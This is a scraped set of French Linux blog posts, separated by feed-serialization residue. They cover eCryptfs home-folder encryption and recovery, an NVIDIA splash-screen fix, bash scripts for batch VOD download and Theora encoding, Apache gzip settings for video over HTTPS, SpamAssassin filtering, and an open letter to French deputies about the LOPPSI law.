Sur un système GNU/Linux, a priori il y a un trousseau de clés. Les logiciels peuvent l’utiliser pour enregistrer les mots de passe de manière sûre, en les chiffrant par une passphrase (par défaut le mot de passe du compte). C’est le cas par exemple d’Evolution, d’Empathy, de Gwibber… Pour voir les mots de passe enregistrés, il suffit d’ouvrir Applications > Accessoires > Mots de passe et clés de chiffrement.

Mais il y a un grand absent dans la liste des logiciels qui le gèrent : Firefox. Firefox enregistre les mots de passe quasiment en clair ; c’est dommage, c’est à lui qu’on donne la majorité de nos mots de passe. Du coup, si j’accède à un disque dur non chiffré, je peux récupérer tous les mots de passe enregistrés dans Firefox. D’ailleurs, c’est très simple : Édition > Préférences > Sécurité > Mots de passe enregistrés… > Afficher les mots de passe (ça devrait inciter les gens à verrouiller leur session quand ils s’absentent plus de 5 secondes). Il y a bien une option “Utiliser un mot de passe principal”, mais comme il n’est pas intégré au système, il faut le renseigner une fois par session Firefox (en plus du mot de passe système donc). Cela suffit à dissuader de l’activer.

Je ne sais pas si c’est prévu pour Firefox 4.0, mais je pense que la sécurité des mots de passe aurait été plus utile que des thèmes à la manière de WinAmp il y a 10 ans (pardon on dit des personas)…

Ceci donne un argument de plus pour chiffrer son dossier personnel… Parenthèse fermée.

Mise en place du chiffrement

Pour activer le chiffrement du dossier personnel lors de l’installation, il suffit de choisir la bonne option :

ubuntu-install-ecryptfs

(je vous conseille aussi d’utiliser une partition séparée pour /home)

Et voilà, c’est tout.

Enfin, pas tout-à-fait, car quand on chiffre ses données, il est certes important qu’elles soient protégées, mais il y a quelque chose d’encore plus important, c’est qu’elles soient récupérables…

Nous allons donc voir comment ça fonctionne, comment récupérer les données, ce à quoi il faut faire attention, etc.

Principe

Le système utilise une clé (une passphrase) pour chiffrer toutes les données avant de les écrire sur le disque. Elle est générée automatiquement, et devra être notée quelque part (sur un bout de papier à garder précieusement). Cette clé est elle-même chiffrée par une passphrase, qui est le mot de passe du compte utilisateur. Ainsi, lors de la connexion de l’utilisateur, la clé pourra être déchiffrée et utilisée pour lire et écrire des données.

Il faut bien distinguer ces deux passphrases :

Tant que vous connaissez la passphrase de montage, vous pourrez récupérer vos données. Si vous connaissez uniquement la passphrase de login, vous pourrez normalement récupérer la passphrase de montage (mais c’est plus sûr de garder dans un coin la passphrase de montage, car on peut effacer involontairement le fichier permettant de faire le lien). Si vous ne connaissez aucune des deux, vos données sont définitivement perdues…

Physiquement, les dossiers chiffrés sont stockés dans /home/.ecryptfs/USER/.Private. Les données servant au chiffrement et au déchiffrement sont dans /home/.ecryptfs/USER/.ecryptfs. Le répertoire /home/USER, quant à lui, n’existe pas physiquement : c’est juste une “vue” déchiffrée du répertoire .Private.

Remarque : les noms de fichiers étant eux-aussi chiffrés, ils ne comportent physiquement pas le même nombre de caractères que le nom de fichier “en clair” (d’autant plus qu’ils contiennent un préfixe). Ceci a une conséquence : en EXT4 les noms de fichiers ne doivent pas dépasser 256 caractères, mais un nom de fichier “en clair” d’environ 140 caractères entraîne un nom de fichier chiffré de 256 caractères. Les noms de fichiers sont donc limités à environ 140 caractères sur un dossier chiffré…

Connaître la passphrase de montage

Une fois le système démarré, il est possible de connaître la passphrase de montage :

$ ecryptfs-unwrap-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476

D’ailleurs, lors du premier démarrage, Ubuntu vous demandera d’exécuter cette commande et de noter quelque part le résultat.

Pour récupérer cette passphrase sans que le système en question soit démarré (par exemple en accédant à la partition à partir d’un LiveCD), il faut préciser le fichier qui contient la passphrase de montage chiffréer :

$ ecryptfs-unwrap-passphrase /media/DISK/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476

Changer la passphrase de login

On ne peut pas changer facilement la passphrase de montage, car il faudrait alors rechiffrer toutes les données. Par contre, la passphrase de login peut être aisément changée (puisque seule la passphrase de montage sera à rechiffrer).

En pratique, ce changement est fait automatiquement lors d’un changement de mot de passe du compte utilisateur.

Pour la changer manuellement (attention, il ne sera plus possible de démarrer correctement si la passphrase de login ne correspond pas au mot de passe de connexion) :

$ ecryptfs-rewrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Old wrapping passphrase: (entrer ici l'ancienne passphrase de login)
New wrapping passphrase: (entrer ici la nouvelle passphrase de login)

Réinstaller le système d’exploitation

Pour réinstaller le système d’exploitation (par exemple pour y mettre une nouvelle version d’Ubuntu) en conservant son dossier personnel chiffré, il faut bien sûr avoir le /home sur une partition séparée, ne pas la formater lors de la nouvelle installation, mais il faut aussi utiliser le même login et le même mot de passe de connexion. Si vous respectez cette règle, vous n’avez rien de particulier à faire, tout est transparent.

Si vous avez changé le mot de passe, l’installation se déroule normalement sans avertissement, mais une fois le système installé, vous ne pourrez pas vous connecter (car vous n’avez pas de /home accessible). Si cela vous arrive, ce n’est pas bien grave, allez dans un TTY (Ctrl+Alt+F1), connectez-vous et changez manuellement votre passphrase de login (comme expliqué dans la section ci-dessus) pour la faire correspondre à votre mot de passe de connexion. Votre ancienne passphrase de login vous sera demandée.

Si malheureusement vous ne vous souvenez plus de votre ancienne passphrase de login (vous le faites exprès ou quoi ?), mais que vous possédez votre passphrase de montage, vous pouvez vous en sortir :

$ ecryptfs-wrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase to wrap: (entrez ici la passphrase de montage)
Wrapped passphrase: (entrez ici la nouvelle passphrase de login)

Redémarrez le système, et normalement tout fonctionne.

Chiffrer son dossier personnel après installation

Il est également possible de chiffrer son dossier personnel une fois le système installé. Cependant, il y a une limitation très contraignante : il faut avoir comme espace libre 2,5× la taille de l’espace occupé par le dossier personnel, c’est-à-dire que la partition contenant /home ne doit pas être remplie à plus de 28%.

Avant toute chose, faire une sauvegarde sur un disque externe ou sur une autre machine (un problème pourrait entraîner la perte de toutes les données).

Le paquet ecryptfs-utils doit être installé :

sudo apt-get install ecryptfs-utils

La commande qui permet de migrer son home est ecyptfs-migrate-home. Cependant, aucune ressource de l’utilisateur du dossier personnel à migrer ne doit être utilisée (pas même un shell). On a donc besoin d’un autre utilisateur, par exemple root (provisoirement).

On réactive donc le compte root et on lui affecte un mot de passe :

sudo passwd root

Ensuite, il faut redémarrer la machine (déconnecter son compte ne suffit pas). Lors de l’écran de login, passer en TTY (Ctrl+Alt+F1), se connecter avec root, et exécuter :

ecryptfs-migrate-home -u USER

(en remplaçant USER par le nom de l’utilisateur dont le dossier personnel doit être migré)

Un peu de patience, il faut attendre un certain temps (qui se compte en heures selon la quantité de données et la puissance du processeur)…

Une fois terminé, se connecter avec l’utilisateur (repasser en mode graphique avec Ctrl+Alt+F7). Normalement tout doit fonctionner.

L’ancien dossier personnel (non chiffré) est dans /home/USER.xxxxxx.

Si tout s’est bien passé ce dossier doit être supprimé, et le compte root peut être désactivé :

sudo passwd --lock root

Récupérer ses données chiffrées

C’est la partie indispensable pour accepter d’utiliser un dossier personnel chiffré : être sûr de pouvoir récupérer ses données. Je vous conseille de tester cette procédure une fois le chiffrement mis en place.

Pour accéder aux données, il suffit d’un LiveCD d’une distribution avec un noyau Linux supérieur ou égal à 2.6.26. J’ai donc utilisé le LiveCD d’Ubuntu Lucid Lynx (10.04) pour mes tests, en m’inspirant de cette doc.

EDIT : Désormais, la commande ecryptfs-recover-private permet d’automatiser tout le processus manuel qui suit.

Tout d’abord, il faut monter la partition contenant les dossiers chiffrés (ça se fait graphiquement en cliquant sur le disque correspondant dans le menu Raccourcis). J’utiliserai l’emplacement /media/DISK comme exemple.

Tout ce que nous allons faire à partir de maintenant nécessite d’être root, passons donc root :

sudo -s

La signature de la clé de chiffrement des noms de fichiers sera nécessaire pour la suite :

root@ubuntu:/~# ecryptfs-add-passphrase --fnek
Passphrase: (entrer la passphrase de montage)
Inserted auth tok with sig [514d1d3af1a232cd] into the user session keyring
Inserted auth tok with sig [7890544814a5865f] into the user session keyring

C’est le code entre crochets de la dernière ligne qui est important.

On va monter le répertoire chiffré dans un répertoire qu’on va appeler decrypted, créons-le :

root@ubuntu:/~# mkdir decrypted

Ensuite, on monte et on répond aux questions :

root@ubuntu:/~# mount -t ecryptfs /media/DISK/.ecryptfs/USER/.Private decrypted
Selection [aes]:
Selection [16]:
Enable plaintext passthrough (y/n) [n]:
Enable filename encryption (y/n) [n]: y
Filename Encryption Key (FNEK) Signature [514d1d3af1a232cd]: 7890544814a5865f

(pour la FNEK, il faut bien préciser la signature qu’on a récupéré juste au-dessus)

Si tout s’est bien passé :

Attempting to mount with the following options:
  ecryptfs_unlink_sigs
  ecryptfs_fnek_sig=7890544814a5865f
  ecryptfs_key_bytes=16
  ecryptfs_cipher=aes
  ecryptfs_sig=514d1d3af1a232d
Mounted eCryptfs

Les données sont maintenant accessibles :

root@ubuntu:~# ls decrypted
Bureau     examples.desktop  Modèles  Public           Vidéos
Documents  Images            Musique  Téléchargements

Pour démonter :

root@ubuntu:~# umount decrypted

updatedb

updatedb indexe régulièrement les fichiers pour pouvoir les rechercher rapidement avec locate. Il faut lui indiquer de ne pas indexer les répertoires .Private afin de ne pas perdre du temps, de la place, et surtout éviter d’obtenir des résultats insignifiants lors d’une recherche avec locate.

Pour cela, ouvrir /etc/updatedb.conf, et éditer la ligne suivante pour y ajouter .Private (la décommenter si elle commençait par un #) :

PRUNENAMES=".git .bzr .hg .svn .Private"

Conclusion

Je pense qu’on a fait le tour de l’essentiel à savoir pour chiffrer son dossier personnel et pouvoir récupérer ses données. J’en ai profité pour chiffrer celui de mon ordinateur portable, tout fonctionne très bien.

Il faut cependant être conscient de deux choses.

Tout d’abord, les données personnelles ne sont pas présentes uniquement dans le répertoire /home, elles sont copiées dans /tmp, dans la RAM, dans le SWAP (il est également possible de chiffrer le SWAP, grâce à ecryptfs-setup-swap), etc. Le chiffrement est donc une étape essentielle dans la protection des données, mais il faut comprendre ce que ça protège (voir à ce sujet le guide d’autodéfense numérique).

Ensuite, ce chiffrement est là pour protéger la vie privée, pas pour cacher quelque chose à la justice. D’une part, le code pénal prévoit une peine de 3 ans et 45000€ d’amende pour refus de fournir la convention secrète de déchiffrement (autrement dit la clé). D’autre part, pour des sujets graves, nul doute que les États mettront les moyens pour casser la clé (qui est relativement faible, car proportionnée à l’objectif à atteindre, à savoir la protection de la vie privée).

Pour utiliser le chiffrement pour des communications plutôt que pour le stockage des données, vous pouvez consulter GnuPG : chiffrer et signer sous Ubuntu pour les nuls.

Amusez-vous bien.

Addendum

À l’utilisation, j’ai remarqué que cette méthode de chiffrement entraînait des problèmes de performance, notamment pour les dossiers contenant beaucoup de fichiers.

Je recommande donc plutôt LUKS+LVM.

";s:7:"dateiso";s:15:"20100516_151241";}s:15:"20100513_142653";a:7:{s:5:"title";s:70:"Splash screen Ubuntu Lucid Lynx (10.04) et pilote NVIDIA propriétaire";s:4:"link";s:97:"http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire";s:4:"guid";s:97:"http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire";s:7:"pubDate";s:25:"2010-05-13T14:26:53+02:00";s:11:"description";s:0:"";s:7:"content";s:2975:"

Ubuntu utilise maintenant Plymouth pour le processus de démarrage graphique. C’est maintenant le noyau qui s’occupe de la configuration graphique à la place de Xorg : c’est plus joli, plus rapide…

Le problème, c’est que le logiciel propriétaire ne suit pas le rythme du logiciel libre. En particulier, le pilote NVIDIA propriétaire ne supporte pas encore cette fonctionnalité (alors que le pilote libre la gère correctement, mais ne supporte pas la 3D). Du coup, on se retrouve avec un splash screen très laid en basse résolution au démarrage.

Ce billet décrit comment avoir un logo à la bonne résolution (même si on n’obtiendra pas la fluidité possible actuellement avec le pilote libre). Une mise à jour sera peut-être disponible (espérons-le), avec un pilote NVIDIA propriétaire fonctionnant correctement.

Contourner le problème

Attention : ces modifications modifient votre configuration graphique, elles pourraient empêcher votre système de fonctionner correctement.

Remplacez dans les étapes suivantes 1680x1050 par la définition de votre écran.

Tout d’abord, il faut prendre un post-it, un stylo, et écrire « ne plus acheter d’ordinateur avec une carte graphique nécessitant des pilotes propriétaires pour fonctionner ». Le coller ensuite bien en évidence pour s’en rappeler lors du prochain achat informatique.

Ensuite, installer le paquet v86d :

sudo apt-get install v86d

Puis éditer le fichier /etc/default/grub :

sudo editor /etc/default/grub

et remplacer la ligne :

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"

par :

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nomodeset video=uvesafb:mode_option=1680x1050-24,mtrr=3,scroll=ywrap"

et la ligne :

#GRUB_GFXMODE=640x480

par :

GRUB_GFXMODE=1680x1050

Puis exécuter les commandes suivantes :

echo 'uvesafb mode_option=1680x1050-24 mtrr=3 scroll=ywrap' |
    sudo tee -a /etc/initramfs-tools/modules
echo FRAMEBUFFER=y | sudo tee /etc/initramfs-tools/conf.d/splash
sudo update-grub2
sudo update-initramfs -u

Il ne reste plus qu’à redémarrer le système, le logo est maintenant joli.

Merci à softpedia pour cette astuce.

";s:7:"dateiso";s:15:"20100513_142653";}s:15:"20100424_185808";a:7:{s:5:"title";s:50:"Agréger différentes sources de VOD en OGG/Theora";s:4:"link";s:78:"http://blog.rom1v.com/2010/04/aggreger-differentes-sources-de-vod-en-oggtheora";s:4:"guid";s:78:"http://blog.rom1v.com/2010/04/aggreger-differentes-sources-de-vod-en-oggtheora";s:7:"pubDate";s:25:"2010-04-24T18:58:08+02:00";s:11:"description";s:0:"";s:7:"content";s:14310:"

Pour mes flux RSS, j’utilise l’outil tt-rss installé sur mon serveur, qui récupère régulièrement tous les flux auxquels je suis abonné.

Le but de ce billet est de mettre en place un mécanisme similaire qui s’applique aux sources de vidéo à la demande (pas forcément prévues pour être agrégées), et qui les convertit dans le format ouvert OGG/Theora (dans un répertoire rendu accessible par un serveur web tel qu’Apache), tout en parallélisant au maximum les différentes actions afin que le temps total de récupération soit minimal.

En particulier, il faut éviter de télécharger la première vidéo, puis de l’encoder, d’attendre que l’encodage soit terminé pour télécharger la seconde vidéo… Et si plusieurs CPU sont disponibles sur la machine, il faut donner un encodage à chaque processeur (l’encodeur theora ne sachant pas paralléliser l’encodage d’une seule vidéo).

Architecture

Pour cela, il y a donc 2 parties bien distinctes :

Serveur d’encodage

Principe

Le serveur d’encodage gère plusieurs processus ouvriers (dans l’idéal, il faut configurer pour avoir autant de processus que de CPU sur la machine). Il attend de nouvelles tâches, et les transmet aux ouvriers disponibles, qui s’occupent de l’encodage. Si aucun ouvrier n’est disponible, il attend qu’un se libère.

Implémentation

Les demandes d’encodage se font grâce à un named pipe (aussi appelé FIFO), un fichier un peu spécial créé avec mkfifo. Chaque ligne représente une tâche. Concrètement, une tâche est décrite par les paramètres à passer à ffmpeg2theora (l’encodeur theora), séparés par un séparateur (j’ai choisi |, qui a peu de chance d’être utilisé dans un nom de fichier). Pour les puristes, je vous mets au défi d’utiliser comme séparateur \0, tout en conservant le mécanisme de file d’attente dans un fichier.

Un démon récupère les nouvelles lignes ajoutées au fichier, et les transmet une à une aux ouvriers. Chaque ouvrier recrée le tableau des arguments en redécoupant la ligne suivant le séparateur choisi, et le passe en paramètre de ffmpeg2theora (en y ajoutant toujours --nice 19 pour n’utiliser que le CPU disponible, sans ralentir d’autres programmes en cours d’exécution).

Démon

Voici le programme démon (adapter le nombre de CPU) (/usr/sbin/ffmpeg2theora-laterd) :

#!/bin/bash
CPU=2
TASKS=/tmp/ffmpeg2theora-tasks
[ -p "$TASKS" ] || mkfifo "$TASKS" -m 666
tail -f "$TASKS" | xargs -I{} -P "$CPU" ffmpeg2theora-later-job {}

Ce script fait donc exécuter par les ouvriers le programme ffmpeg2theora-later-job pour chacune des tâches, dont voici le code (/usr/sbin/ffmpeg2theora-later-job) :

#!/bin/bash
IFS='|' read -a args <<< "$1"
echo "executing: ffmpeg2theora ${args[@]} --nice 19"
ffmpeg2theora "${args[@]}" --nice 19

Je vous conseille de prendre la dernière version de ffmpeg2theora, actuellement celle des dépôts est assez ancienne.

Le démon est à lancer une fois (et une seule !), au démarrage du système par exemple (une solution est de l’ajouter dans /etc/rc.local).

Client

Les clients (les programmes qui veulent demander un encodage) doivent appeler ffmpeg2theora-later, qui s’occupe d’écrire les paramètres séparés par | dans le FIFO (/usr/bin/ffmpeg2theora-later) :

#!/bin/bash
printf '|%s' "$@" | cut -c2- > /tmp/ffmpeg2theora-tasks

Son utilisation est extrêmement proche de ffmpeg2theora (évidemment, puisqu’il se contente de lui transmettre ses paramètres), à ceci près que les chemins doivent être absolus (puisque le démon ne sait pas à partir de quel répertoire la demande d’encodage a été effectuée).

Ainsi, là où on aurait utilisé, à partir de /tmp :

ffmpeg2theora file.avi -o file.ogv -x 400 -y 300 -v 8 -a 3

on peut appeler :

ffmpeg2theora-later /tmp/file.avi -o /tmp/file.ogv -x 400 -y 300 -v 8 -a 3

Programmes de récupération

Principe

Les programmes de récupération font ce qui est nécessaire pour récupérer les vidéo à télécharger. Plusieurs outils sont bien utiles pour cela :

Pensez bien à ouvrir les ports nécessaires pour récupérer les vidéos (1935 par défaut pour les liens RTMP, 1755 pour MMS…).

Implémentation

Afin de rendre un peu indépendants les répertoires manipulés, j’ai décidé de créer un script /usr/bin/vodget qui appelle les programmes de récupération avec 2 paramètres :

  1. le répertoire de téléchargement ;
  2. le répertoire destination.
#!/bin/bash
scripts_dir=/var/lib/vodget
script="$scripts_dir/$1"
download_dir=/tmp/vodget
target_dir=/var/www/vod
$script "$download_dir" "$target_dir"

Les programmes de récupération sont stockés dans /var/lib/vodget.

Exemple

Voici un exemple qui récupère les guignols de l’info (Canal+) (/var/lib/vodget/guignols) :

#!/bin/bash
category=guignols
download_dir="$1/$category"
target_dir="$2/$category"
mkdir -p "$download_dir"
mkdir -p "$target_dir"
wget -O- http://www.canalplus.fr/rest/bootstrap.php?/bigplayer/search/guignols | grep -o 'rtmp://[^<]\+.mp4' | while read url
do
    filename="$(echo "$url" | sed 's/.*\([0-9]\{2\}\)\([0-9]\{2\}\)\([0-9]\{2\}\).*/20\1-\2-\3/')"
    if [ ! -f "$target_dir/$filename.ogv" ]
    then
        flvstreamer -r "$url" -o "$download_dir/$filename.mp4"
        touch "$target_dir/$filename.ogv"
        ffmpeg2theora-later "$download_dir/$filename.mp4" -o "$target_dir/$filename.ogv" -v8 -a3
    fi
done

Cet exemple est une implémentation qui a l’avantage d’être très courte, vous pouvez aussi adapter des versions plus évoluées pour qu’elles utilisent ffmpeg2theora-later.

Un simple appel à :

vodget guignols

récupèrera les nouveaux épisodes et les encodera en OGG/Theora.

Il ne restera plus qu’à se rendre sur la page HTTP pointant sur le répertoire des vidéos avec un navigateur qui supporte le HTML5 et le codec OGG/Theora, pour pouvoir regarder les vidéos ainsi récupérées :

vod-guignols

Bien sûr, les vidéos récupérées qui ne sont pas sous licence libre sont à usage personnel. Cela permet de regarder en VOD les épisodes dans un format ouvert, qui ne nécessite pas de programme propriétaire, ces vidéos ne doivent pas être placées sur un serveur public.

Démarrage programmé

Pour automatiser tout cela, il est possible de programmer périodiquement la récupération des nouvelles vidéos grâce à cron. Pour cela :

crontab -e

et ajouter la ligne qui-va-bien. Par exemple, pour récupérer les nouveaux épisodes des guignols tous les jours à 23 heures :

00 23 * * * vodget guignols

Améliorations

Techniquement, il faudrait gérer le démon par un script init.d, mais ça n’est pas si simple (si on arrête le service alors qu’une vidéo est en cours d’encodage et qu’on le redémarre, le nombre de CPU à utiliser ne sera plus respecté…).

Si vous êtes motivés, il est également possible de faire un beau site qui permette de regarder les vidéos en VOD, plutôt qu’une page qui liste simplement les fichiers récupérés.

Conclusion

Les différentes vidéos que je suis susceptible de regarder en VOD (que je ne regardais pas avant) sont maintenant disponibles sur mon serveur, lisible directement par mon navigateur.

On peut imaginer de nombreuses sources à aggréger :

Bien sûr, on aimerait mieux que les différentes sources fournissent des flux RSS pointant vers leurs vidéos, qu’ils diffuseraient eux-même en OGG/Theora. Mais on peut toujours attendre…

";s:7:"dateiso";s:15:"20100424_185808";}s:15:"20100329_213229";a:7:{s:5:"title";s:27:"Partager n'est pas voler !";s:4:"link";s:53:"http://blog.rom1v.com/2010/03/partager-nest-pas-voler";s:4:"guid";s:53:"http://blog.rom1v.com/2010/03/partager-nest-pas-voler";s:7:"pubDate";s:25:"2010-03-29T21:32:29+02:00";s:11:"description";s:0:"";s:7:"content";s:1682:"

Il y a tout juste un an, durant les débats sur Hadopi, la Quadrature du Net publiait un article Partager n’est pas voler ! (chronique d’un mensonge historique).

lqdn

Le mois dernier, Jérémie Zimmermann, invité sur la RSR (Radio Suisse Romande), y expliquait pourquoi fondamentalement, et au-delà de son applicabilité, la « chasse aux pirates » est insensée. Après le #fail d’Hadopi, cette guerre au partage est plus que jamais d’actualité avec les négociations d’ACTA.

Vous pouvez écouter cette intervention de 15 minutes :

Pour ceux qui ne peuvent pas lire la piste audio directement, elle est disponible sur le mediakit de la Quadrature.

Ce billet est également l’occasion pour moi d’utiliser pour la première fois la balise <audio> d’HTML5. Malheureusement, pour l’instant, il est impossible d’avoir une page valide car Wordpress écrit du XHTML 1.1 et cette fonctionnalité nécessite HTML5. Ça fonctionne quand même…

EDIT 20/05/2011 : À voir également le documentaire Copier n’est pas voler.

";s:7:"dateiso";s:15:"20100329_213229";}s:15:"20100327_224352";a:7:{s:5:"title";s:62:"Vidéo OGG Theora sur HTTPS (dans Firefox) : configurer Apache";s:4:"link";s:87:"http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache";s:4:"guid";s:87:"http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache";s:7:"pubDate";s:25:"2010-03-27T22:43:52+01:00";s:11:"description";s:0:"";s:7:"content";s:2675:"

Tout le monde a entendu parler de la balise <video/>, la nouveauté la plus médiatisée d’HTML5. Le format vidéo à utiliser sur le web fait polémique (Theora ou H264) à cause de brevets logiciels, toujours bien présents dès il s’agit de freiner l’innovation. Une situation qu’à mon avis seul Google peut résoudre. Mais ce n’est pas l’objet de ce billet, pour l’instant, le format, c’est OGG Theora. Il suffit de placer un fichier ogv quelque part sur un serveur, et Firefox sait la lire.

Un problème survient cependant dès qu’on veut y accéder sur HTTPS plutôt qu’HTTP : on ne peut pas seeker dans la vidéo (c’est-à-dire qu’on ne peut pas déplacer le curseur pour se positionner à n’importe quel endroit), et on ne connaît pas sa durée totale.

Quelle différence entre l’accès en HTTP et HTTPS ?

En HTTP, on reçoit la taille du fichier vidéo :

$ curl --compressed -I http://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Length: 26959501
Content-Type: video/ogg

En HTTPS, on ne la reçoit pas, car le flux est compressé en gzip.

$ curl --compressed -k -I https://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Encoding: gzip
Content-Type: video/ogg

(-k permet d’autoriser l’utilisation d’un certificat SSL non reconnu)

C’est la source du problème. Pourquoi ce comportement différent par défaut entre HTTP et HTTPS? Je n’en sais rien (si quelqu’un peut m’éclairer…).

Par contre, il est très facile de désactiver la compression pour certains types de fichiers, comme les images ou les vidéos (compression qui n’a de toute façon aucun intérêt, ces fichiers sont déjà compressés).

Pour cela, il suffit de rajouter une ligne dans /etc/apache2/mods-available/deflate.conf :

SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|png|ogg|oga|ogv)$ no-gzip dont-vary

et de recharger Apache :

sudo service apache reload

Et maintenant, ça fonctionne correctement sur HTTPS :

$ curl --compressed -k -I https://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Length: 26959501
Content-Type: video/ogg
";s:7:"dateiso";s:15:"20100327_224352";}s:15:"20100325_222554";a:7:{s:5:"title";s:52:"Filtrer les spams sur un serveur mail (SpamAssassin)";s:4:"link";s:80:"http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin";s:4:"guid";s:80:"http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin";s:7:"pubDate";s:25:"2010-03-25T22:25:54+01:00";s:11:"description";s:0:"";s:7:"content";s:4909:"

Pour continuer ma série d’articles sur l’auto-hébergement de ses mails, je vais présenter l’installation de SpamAssassin.

Pour mon serveur mail (et plus généralement pour les outils que j’utilise), j’essaie de mettre en place uniquement ce dont j’ai besoin. Et jusqu’ici, je n’avais pas l’utilité d’un anti-spams, ne recevant aucun courrier indésirable. Mais depuis peu, j’en reçois un de temps en temps… C’est donc l’occasion de m’y mettre.

Installation et configuration

Il existe plusieurs méthodes, j’ai choisi la plus simple : c’est procmail qui fournit les mails à SpamAssassin.

Il faut tout d’abord installer et configurer procmail, puis installer le paquet spamassassin :

sudo apt-get install spamassassin

Ensuite, rajouter dans ~/.procmailrc la règle suivante (copiée de doc) :

# Pipe the mail through spamassassin (replace 'spamassassin' with 'spamc'
# if you use the spamc/spamd combination)
#
# The condition line ensures that only messages smaller than 250 kB
# (250 * 1024 = 256000 bytes) are processed by SpamAssassin. Most spam
# isn't bigger than a few k and working with big messages can bring
# SpamAssassin to its knees.
#
# The lock file ensures that only 1 spamassassin invocation happens
# at 1 time, to keep the load down.
#
:0fw: spamassassin.lock
* < 256000
| spamassassin

Enfin, éditer /etc/spamassassin/local.cf.

Pour uniquement ajouter les en-têtes de spam (ce qui est suffisant pour filtrer), il faut changer la valeur de report_safe :

report_safe 0

Pour ajouter un tag dans le sujet d’un mail considéré comme un spam :

rewrite_header Subject *****SPAM*****

Il est également possible de configurer le score requis pour qu’un mail soit considéré comme un spam. Plus cette valeur est faible, plus le filtre est agressif. La valeur par défaut (5.0) est un peu faible, je vous conseille d’augmenter un peu si vous voulez limiter les faux-positifs :

required_score 6.0

Rajouter éventuellement les lignes suivantes :

# Langues attendues (les autres auront un score plus élevé)
ok_languages fr

# Rapports en français
lang fr

Pour ajouter un expéditeur en liste blanche, rajouter :

whitelist_from any@mail.com

Test

Pour tester, le plus simple est de mettre un filtre très sévère, par exemple avec un score négatif :

required_score -2

En m’envoyant un mail à moi-même qui contient comme sujet test, je constate à la réception que les en-têtes ont été modifiés :

Subject: *****SPAM***** test
Date: Thu, 25 Mar 2010 21:19:52 +0100
Message-Id: <1269548392.9798.9.camel@rom-laptop>
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on rom-eeebox
X-Spam-Level: ***
X-Spam-Status: Yes, score=3.9 required=-2.0 tests=ALL_TRUSTED,

Le mail a bien été détecté comme un spam. Ça fonctionne.

Filtrage

Maintenant que les spams sont détectés, il faut les traiter (les déplacer dans un dossier prévu à cet effet).

Il suffit pour cela de créer un dossier sur le serveur :

maildirmake.dovecot ~/Maildir/.Spams

et d’ajouter la règle suivante dans ~/.procmailrc (plus d’infos) :

:0
* ^X-Spam-Status: Yes
.Spams/

Conclusion

Les spams auront maintenant un peu plus de mal à se glisser dans ma boîte mail.

La configuration présentée ici est vraiment minimale. Selon son efficacité il faudra peut-être l’affiner.

Voir aussi

Mes précédents billets sur l’auto-hébergement des mails :

";s:7:"dateiso";s:15:"20100325_222554";}s:15:"20100119_223123";a:7:{s:5:"title";s:54:"Débats sur la LOPPSI : lettre (ouverte) aux députés";s:4:"link";s:77:"http://blog.rom1v.com/2010/01/debats-sur-la-loppsi-lettre-ouverte-aux-deputes";s:4:"guid";s:77:"http://blog.rom1v.com/2010/01/debats-sur-la-loppsi-lettre-ouverte-aux-deputes";s:7:"pubDate";s:25:"2010-01-19T22:31:23+01:00";s:11:"description";s:0:"";s:7:"content";s:4308:"

Mesdames et messieurs les députés,

Le projet LOPPSI a été planifié les 9, 10 et 11 février à l’Assemblée Nationale.

Je n’ai pas lu tout le projet de loi (n’étant pas compétent sur le contenu de tous les articles), mais j’ai lu avec attention ceux concernant Internet (2, 3, 4 et 23), que j’avais analysés l’année dernière : loppsi.pdf.

Je souhaiterais en particulier attirer votre attention sur le dispositif principal (l’article 4) qui prétend “protéger les internautes contre les images de pornographie enfantine”. Pour résumer mon analyse, j’en dénonce les fondements, la mise en œuvre, l’efficacité et les dangers. Je formule également des propositions pour répondre au problème posé.

Les fondements : pour combattre la pédopornographie, il faut attaquer “à la source”, à savoir ordonner le retrait des contenus et arrêter les individus qui les créent. Ce texte fait le contraire : il propose de ne pas avoir à s’embêter à arrêter les criminels et fait en sorte de pouvoir les ignorer tranquillement.

La mise en œuvre : elle porte clairement atteinte à la neutralité du net, car le filtrage serait effectué en cœur de réseau. Elle tente d’aller à l’encontre de la structure même d’Internet, et provoquera à coup sûr des sur-blocages.

L’efficacité : toutes les technologies de filtrage sont inefficaces et facilement contournables.

Les dangers : la possibilité pour le ministère de l’intérieur d’ordonner le filtrage d’une liste gardée secrète de sites est, en soi, très contestable. Cela mènera inévitablement à des dérives, comme on peut le constater dans les pays ayant mis en place un tel dispositif.

Cet article de loi présente un objectif peu pertinent (bloquer l’accès à ceux qui tomberaient sur des contenus criminels “par hasard”) plutôt que de s’attaquer au problème réel de la pédopornographie, mais en plus il y répond de manière inappropriée.

Pour contrer les réseaux de pédopornographie, il faudrait mettre plus de moyens pour remonter aux sources et arrêter les personnes concernées. Il faudrait également ordonner le retrait des images sur les serveurs, beaucoup plus efficace que le filtrage, et sans risque de sur-blocage, ce qui fonctionne très bien contrairement à ce qui est sous-entendu dans le projet de loi (voir la conclusion de mon analyse détaillée).

